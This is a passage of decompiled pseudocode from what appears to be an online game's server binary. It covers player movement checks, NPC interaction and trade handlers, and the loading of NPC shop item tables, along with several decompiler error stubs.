( !*(_DWORD *)((char *)v1 + 98) ) { v3 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 36) = 0; *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; v4 = *(_DWORD *)(v3 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v4; *((_DWORD *)v1 + 41) = *(_DWORD *)(v4 + 4); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2528))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2536))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 0; } if ( ShineObjectClass::ShinePlayer::sp_MoveBlockCheck( v1, **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4)) ) { ShineObjectClass::ShineObject::so_MoveTo(v1, *((_DWORD *)v1 + 23135), *((_DWORD *)v1 + 23136), 4); v6 = *((_DWORD *)v1 + 35); *((_DWORD *)v1 + 36) = 0; *((_DWORD *)v1 + 42) = 0; *((_DWORD *)v1 + 43) = 0; *((_DWORD *)v1 + 44) = 0; *((_DWORD *)v1 + 45) = 0; *((_DWORD *)v1 + 46) = 0; *((_DWORD *)v1 + 37) = 0; v7 = *(_DWORD *)(v6 + 78); *((_DWORD *)v1 + 40) = *(_DWORD *)v7; *((_DWORD *)v1 + 41) = *(_DWORD *)(v7 + 4); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2528))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2536))(v1); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_StopBlockCheck"); return 1; } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0048C360) -------------------------------------------------------- void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this) { AxialListNearScan *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; v1->alns_bp = 0; } // 5CD124: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (0048C380) -------------------------------------------------------- void __thiscall AxialListNearScan::_AxialListNearScan(AxialListNearScan *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5CD124: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (0048C390) -------------------------------------------------------- int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this) { return this->alns_bp; } //----- (0048C3A0) -------------------------------------------------------- #error "48C3A0: undefined or illegal type '#331' (funcsize=7)" //----- (0048C3D0) -------------------------------------------------------- #error "48C3D0: undefined or illegal type '#331' (funcsize=14)" //----- (0048C410) -------------------------------------------------------- #error "48C410: undefined or illegal type '#331' (funcsize=77)" //----- (0048C4F0) -------------------------------------------------------- #error "48C4F0: undefined or illegal type '#331' (funcsize=62)" //----- (0048C5E0) -------------------------------------------------------- #error "48C5E0: undefined or illegal type '#331' (funcsize=46)" //----- (0048C650) -------------------------------------------------------- void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #440 *a2, NPCManager::NPCIndexArray *npcfunc, unsigned __int16 npchandle) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_Role", 0); } //----- (0048C670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset) { void *v2; // esi@1 int v3; // eax@1 char v4; // dl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EndOfTrade"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 17082); *((_DWORD *)v2 + 17051) = 0; if ( v3 ) { (*(void (__thiscall **)(_DWORD, void *))(**(_DWORD **)(v3 + 4) + 4))(*(_DWORD *)(v3 + 4), v2); *((_DWORD *)v2 + 17082) = 0; *((_DWORD *)v2 + 17083) = 0; if ( servermenureset ) ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68344)); v4 = *((_BYTE *)v2 + 23324) & 0xEF; *((_WORD *)v2 + 34162) = -1; *((_BYTE *)v2 + 23324) = v4; ShineObjectClass::ShinePlayer::sp_GuildStorageClose(v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); } //----- (0048C760) -------------------------------------------------------- #error "48C760: undefined or illegal type '#440' (funcsize=222)" //----- (0048CA60) -------------------------------------------------------- #error "48CA60: undefined or illegal type '#440' (funcsize=280)" //----- (0048CE40) -------------------------------------------------------- #error "48CE40: undefined or illegal type '#440' (funcsize=98)" //----- (0048CFC0) -------------------------------------------------------- #error "48CFC0: undefined or illegal type '#440' (funcsize=215)" //----- (0048D2D0) -------------------------------------------------------- #error "48D2D0: undefined or illegal type '#440' (funcsize=218)" //----- (0048D5A0) -------------------------------------------------------- #error "48D5A0: undefined or illegal type '#440' (funcsize=276)" //----- (0048D9C0) -------------------------------------------------------- #error "48D9C0: undefined or illegal type '#440' (funcsize=70)" //----- (0048DAF0) -------------------------------------------------------- #error "48DAF0: undefined or illegal type '#440' (funcsize=90)" //----- (0048DC50) -------------------------------------------------------- #error "48DC50: undefined or illegal type '#440' (funcsize=29)" //----- (0048DCF0) -------------------------------------------------------- #error "48DCF0: undefined or illegal type '#440' (funcsize=33)" //----- (0048DDA0) -------------------------------------------------------- #error "48DDA0: undefined or illegal type '#440' (funcsize=29)" //----- (0048DE40) -------------------------------------------------------- #error "48DE40: undefined or illegal type '#440' (funcsize=33)" //----- (0048DEA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@5 int v6; // edi@7 char *v7; // [sp-4h] [bp-128h]@4 ScriptInterrupt::InterruptHappenArgument arg; // [sp+10h] [bp-114h]@6 unsigned int v9; // [sp+114h] [bp-10h]@13 int v10; // [sp+120h] [bp-4h]@1 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_5 & 1) ) { _S4_5 |= 1u; cmc_47.cmc_AllowMode = 70; atexit(_E5_39); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_47.cmc_AllowMode ) { v5 = *(_DWORD *)(v4 + 98); if ( v5 ) { arg.npcclick.npc = *(_WORD *)(netcmd + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_NPCClick, &arg); } v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(netcmd + 2)); if ( v6 ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v6 + 1976))(v6, *(_WORD *)(v4 + 4)); if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) <= 0xF4240 ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v4 + 2488))(v4, v6); else ShineObjectClass::ShinePlayer::sp_EndOfTrade((void *)v4, 1); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD : NPC not found", *(_WORD *)(netcmd + 2)); ShineObjectClass::ShinePlayer::sp_EndOfTrade((void *)v4, 1); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; } else { v7 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); __security_check_cookie(v9); } //----- (0048E040) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2) { void *v2; // esi@1 __int16 v4; // bx@6 void *v5; // eax@6 unsigned __int16 v6; // ax@8 int v7; // eax@8 int v8; // eax@10 char *v9; // eax@11 char v10; // al@11 int v11; // eax@12 int v12; // eax@15 char key; // [sp+10h] [bp-18h]@6 __int16 v14; // [sp+18h] [bp-10h]@6 int v15; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::InteractWithNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S6_63 & 1) ) { _S6_63 |= 1u; cmc_48.cmc_AllowMode = 70; atexit(_E7_41); } if ( !((1 << **((_BYTE **)v2 + 929)) & cmc_48.cmc_AllowMode) || *(_WORD *)(*(_DWORD *)((char *)v2 + 32047) + 78) != -1 ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 0; } v4 = *(_WORD *)(a2 + 4); v14 = *(_WORD *)(a2 + 4); v5 = bsearch(&key, &npcmanager, unk_CBD0648, 0xCu, NPCManager::nm_HandleCompare); *((_DWORD *)v2 + 17082) = v5; if ( !v5 ) { ShineObjectClass::ShinePlayer::sp_EndOfTrade(v2, 1); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 0; } *((_WORD *)v2 + 34162) = v4; v6 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1716))(a2); *((_WORD *)v2 + 34163) = v6; v7 = CQuestZone::QuestPlayer_NPCClickCheck((CQuestZone *)((char *)v2 + 66048), v6) - 1; if ( !v7 ) { CQuestZone::QuestPlayer_NPCClick((CQuestZone *)((char *)v2 + 66048), *((_WORD *)v2 + 34163)); LABEL_15: v12 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 17083) = &npcrolebase; *((_DWORD *)v2 + 17084) = *(_DWORD *)v12; *((_DWORD *)v2 + 17085) = *(_DWORD *)(v12 + 4); goto LABEL_16; } if ( v7 != 1 ) { v8 = *((_DWORD *)v2 + 17082); if ( *(_BYTE *)(*(_DWORD *)v8 + 63) ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8220; *((_WORD *)v9 + 1) = *((_WORD *)v2 + 34163); v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD : Packet Too Long", 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } goto LABEL_15; } (*(void (__stdcall **)(void *, int, __int16))**(void (__stdcall ****)(_DWORD, _DWORD, _WORD))(v8 + 4))(v2, v8, v4); } LABEL_16: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 1; } //----- (0048E290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK(void *ply, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = ply; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S8_14 & 1) ) { _S8_14 |= 1u; cmc_49.cmc_AllowMode = 70; atexit(_E9_12); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_49.cmc_AllowMode ) { if ( *((_DWORD *)v4 + 17082) ) { if ( CurrentMenu::cm_MenuAction((CurrentMenu *)((char *)v4 + 68332), (#440 *)v4) && *(_BYTE *)(netcmd + 2) == 1 ) (*(void (__stdcall **)(void *, _DWORD, _DWORD))**(void (__stdcall ****)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 17082) + 4))( v4, *((_DWORD *)v4 + 17082), *((_WORD *)v4 + 34162)); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK : MenuAck not during npc process", 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK"); } //----- (0048E3C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_10 & 1) ) { _S10_10 |= 1u; cmc_50.cmc_AllowMode = 70; atexit(_E11_18); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_50.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_EndOfTrade(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); } //----- (0048E4A0) -------------------------------------------------------- void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this) { NPCItemList::ItemListOption *v1; // esi@1 void *v2; // eax@1 v1 = this; OptionReader::OptionReader(&this->baseclass_0); v2 = operator new__(0xBBCu); v1->ilo_TempBuffer = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)v2; *((_WORD *)v2 + 1) = -1; } //----- (0048E500) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // esi@1 v1 = this; BTree::BTree(&this->nilt_Index2Handle); memset(v1, 0, 0x190u); v1->nilt_TableNumber = 0; } //----- (0048E530) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // edi@1 signed int v2; // esi@1 v1 = this; v2 = 0; do { if ( v1->nilt_Packet[v2] ) operator delete(v1->nilt_Packet[v2]); ++v2; } while ( v2 < 100 ); BTree::_BTree(&v1->nilt_Index2Handle); } //----- (0048E560) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex) { NPCItemList::ItemListOption *v2; // esi@1 int v3; // ebp@1 int v4; // ebx@1 int v5; // edi@1 signed int v6; // ebx@3 void *v7; // edi@4 unsigned int v8; // eax@8 signed __int16 v9; // bp@8 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v10; // edx@12 bool v11; // zf@12 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@21 ORToken v13; // [sp-24h] [bp-ACh]@4 int v14; // [sp-20h] [bp-A8h]@4 int v15; // [sp-1Ch] [bp-A4h]@4 int v16; // [sp-18h] [bp-A0h]@4 ORToken v17; // [sp-14h] [bp-9Ch]@2 char *v18; // [sp-10h] [bp-98h]@2 int v19; // [sp-Ch] [bp-94h]@2 int v20; // [sp-8h] [bp-90h]@2 unsigned int v21; // [sp-4h] [bp-8Ch]@2 int rec; // [sp+10h] [bp-78h]@2 int slot; // [sp+14h] [bp-74h]@2 int tab; // [sp+18h] [bp-70h]@1 ORToken *records; // [sp+1Ch] [bp-6Ch]@2 int tables; // [sp+20h] [bp-68h]@1 ORToken *v27; // [sp+24h] [bp-64h]@4 int type; // [sp+28h] [bp-60h]@4 char tabname[10]; // [sp+2Ch] [bp-5Ch]@2 char colname[10]; // [sp+38h] [bp-50h]@4 char buffer[64]; // [sp+44h] [bp-44h]@5 v2 = this; v3 = 0; this->ilo_TempBuffer->itemnum = 0; v4 = OptionReader::or_SelectCount(&this->baseclass_0); v5 = 0; tables = v4; for ( tab = 0; v5 < v4; tab = v5 ) { v21 = v5; sprintf(tabname, "Tab%02d"); records = &v17; v21 = v3; v20 = v3; v19 = v3; v18 = (char *)v3; *(_DWORD *)&v17.ort_Name[0] = v3; strncpy(v17.ort_Name, tabname, 0x14u); records = (ORToken *)OptionReader::or_SelectCountFrom(&v2->baseclass_0, v17); slot = -1; rec = v3; if ( (signed int)records > v3 ) { do { v6 = 0; do { v21 = v6; ++slot; sprintf(colname, "Column%02d"); v21 = (unsigned int)&type; v20 = v3; v19 = rec; v18 = "Rec"; v27 = &v13; *(_DWORD *)&v17.ort_Name[0] = v3; v16 = v3; v15 = v3; v14 = v3; *(_DWORD *)&v13.ort_Name[0] = v3; strncpy(v13.ort_Name, tabname, 0x14u); v7 = OptionReader::or_Select(&v2->baseclass_0, colname, v13, v18, v19, v20, (int *)v21); if ( (v7 != (void *)v3) == v3 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : No data", mobindex); v21 = v6; v20 = rec; v19 = tab; sprintf(buffer, "T[%d] R[%d] C[%d]"); AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake", buffer); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } if ( *(_BYTE *)v7 != 45 ) { v8 = BTree::operator__(&stru_12510618, (const char *)v7); v9 = -1; if ( v8 != -1 ) v9 = v8; if ( v9 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Invalid item index", (const char *)v7); } else { v10 = v2->ilo_TempBuffer; v11 = v10->itemnum >= 0x3E8u; v27 = (ORToken *)(v10->itemnum < 0x3E8u); if ( v11 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Too many items", mobindex); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } *((_BYTE *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum) = slot; *(unsigned __int16 *)((char *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum + 1) = v9; ++v2->ilo_TempBuffer->itemnum; } v3 = 0; } ++v6; } while ( v6 < 6 ); ++rec; } while ( rec < (signed int)records ); v4 = tables; v5 = tab; } ++v5; } v21 = 3 * v2->ilo_TempBuffer->itemnum + 4; result = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)operator new__(v21); *(_DWORD *)&result->itemnum = *v2->ilo_TempBuffer; memcpy(&result[1], &v2->ilo_TempBuffer[1], 3 * v2->ilo_TempBuffer->itemnum); return result; } //----- (0048E7F0) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // esi@1 unsigned int v3; // eax@1 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@3 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v5; // esi@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCItemList::NPCItemListTable::nilt_MenuPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&v2->nilt_Index2Handle, mobindex); if ( v3 != -1 && v3 < 0x64 ) { v5 = v2->nilt_Packet[v3]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = 0; } return result; } //----- (0048E8D0) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // edi@1 signed int v3; // eax@1 void *v4; // eax@4 int v5; // eax@5 int v6; // esi@5 int v7; // edi@8 char *v8; // eax@8 unsigned int v9; // [sp-4h] [bp-A4h]@9 void *v10; // [sp-4h] [bp-A4h]@11 char path[128]; // [sp+10h] [bp-90h]@4 unsigned int v12; // [sp+90h] [bp-10h]@16 int v13; // [sp+9Ch] [bp-4h]@4 v2 = this; v3 = this->nilt_TableNumber; if ( v3 >= 100 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Too many merchants", v3); ShineExit("NPCItemList::NPCItemListTable::nilt_ReadTable"); } sprintf(path, "../9Data/Shine/NPCItemList/%s.txt"); v4 = operator new(0x10858u); v13 = 0; if ( v4 ) { NPCItemList::ItemListOption::ItemListOption((NPCItemList::ItemListOption *)v4); v6 = v5; } else { v6 = 0; } v13 = -1; if ( !OptionReader::or_Read((OptionReader *)v6, path) ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Read error", path); v7 = OptionReader::or_ErrorLine((OptionReader *)v6); v8 = OptionReader::or_ErrorString((OptionReader *)v6); AssertClass::ac_AssertFail(&shineassert, v8, v7); goto LABEL_13; } v2->nilt_Packet[v2->nilt_TableNumber] = NPCItemList::ItemListOption::ilo_PacketMake( (NPCItemList::ItemListOption *)v6, mobindex); v9 = v2->nilt_TableNumber; if ( v2->nilt_Packet[v2->nilt_TableNumber] ) { BTree::bt_Insert(&v2->nilt_Index2Handle, mobindex, v9); ++v2->nilt_TableNumber; LABEL_13: if ( v6 ) { v10 = *(void **)(v6 + 67668); goto LABEL_15; } goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Packet make err", v9); if ( v6 ) { v10 = *(void **)(v6 + 67668); LABEL_15: operator delete(v10); OptionReader::_OptionReader((OptionReader *)v6); operator delete((void *)v6); } LABEL_16: __security_check_cookie(v12); } //----- (0048EA60) -------------------------------------------------------- OptionReader *__thiscall NPCManager::operator_>(NPCManager *this) { return &this->nm_NPCInfo; } //----- (0048EA70) -------------------------------------------------------- void __thiscall NPCManager::NPCManager(NPCManager *this) { OptionReader::OptionReader(&this->nm_NPCInfo); } //----- (0048EAB0) -------------------------------------------------------- void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRoleBase *v2; // esi@1 char *v3; // eax@2 char v4[4]; // [sp+8h] [bp-14h]@2 int v5; // [sp+Ch] [bp-10h]@2 int v6; // [sp+10h] [bp-Ch]@2 int v7; // [sp+14h] [bp-8h]@2 int v8; // [sp+18h] [bp-4h]@2 v2 = this; this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; *(_QWORD *)&this->nrb_argument.ort_Name[12] = 0i64; *(_QWORD *)&this->nrb_argument.ort_Name[4] = 0i64; *(_DWORD *)&this->nrb_argument.ort_Name[0] = 0; if ( npctemplet ) { v3 = (char *)&npctemplet->rolearg; } else { v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)v4 = 0; strncpy(v4, byte_59A24E, 0x14u); v3 = v4; } *(_DWORD *)&v2->nrb_argument.ort_Name[0] = *(_DWORD *)v3; *(_DWORD *)&v2->nrb_argument.ort_Name[4] = *((_DWORD *)v3 + 1); *(_DWORD *)&v2->nrb_argument.ort_Name[8] = *((_DWORD *)v3 + 2); *(_DWORD *)&v2->nrb_argument.ort_Name[12] = *((_DWORD *)v3 + 3); *(_DWORD *)&v2->nrb_argument.ort_Name[16] = *((_DWORD *)v3 + 4); } // 5AF440: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (0048EB30) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_linkinform", 0); return 0; } //----- (0048EB50) -------------------------------------------------------- void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this) { this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 5AF440: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (0048EB60) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num) { int v3; // [sp-18h] [bp-18h]@1 int v4; // [sp-14h] [bp-14h]@1 int v5; // [sp-10h] [bp-10h]@1 int v6; // [sp-Ch] [bp-Ch]@1 int v7; // [sp-8h] [bp-8h]@1 int v8; // [sp-4h] [bp-4h]@1 v8 = num; v7 = 0; v6 = 0; v5 = 0; v4 = 0; v3 = 0; strncpy((char *)&v3, "LinkTable", 0x14u); return (NPCManager::LinkInformTemplete *)OptionReader::or_SelectFromOrder(&stru_CBD064C, *(ORToken *)&v3, v8); } //----- (0048EBA0) -------------------------------------------------------- void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_ID_Portal *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0.baseclass_0, npctemplet); v2->baseclass_0.nrb_BrenchNumber = 0; v2->baseclass_0.baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_ID_Portal::_vftable_; } // 5AF3C8: using guessed type int (__stdcall *NPCRole_ID_Portal___vftable_)(#331 *, int npcfunc, __int16 Inv); //----- (0048EBC0) -------------------------------------------------------- void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_Guard *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 5AF440: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (0048EBE0) -------------------------------------------------------- void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_MenuOpen *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_MenuOpen::_vftable_; } // 5AF468: using guessed type int (__stdcall *NPCRole_MenuOpen___vftable_)(int, int npcfunc, __int16 npchandle); //----- (0048EC00) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0048ECB0) -------------------------------------------------------- void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world) { NPCManager *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 int v7; // eax@6 NPCManager::NPCInformTemplete *v8; // eax@8 int v9; // eax@9 int v10; // edi@9 unsigned int v11; // ebp@9 unsigned int v12; // ecx@9 unsigned int v13; // edx@9 unsigned int v14; // eax@9 void *v15; // edi@12 int v16; // eax@15 int v17; // ecx@15 void *v18; // edi@24 void *v19; // edi@29 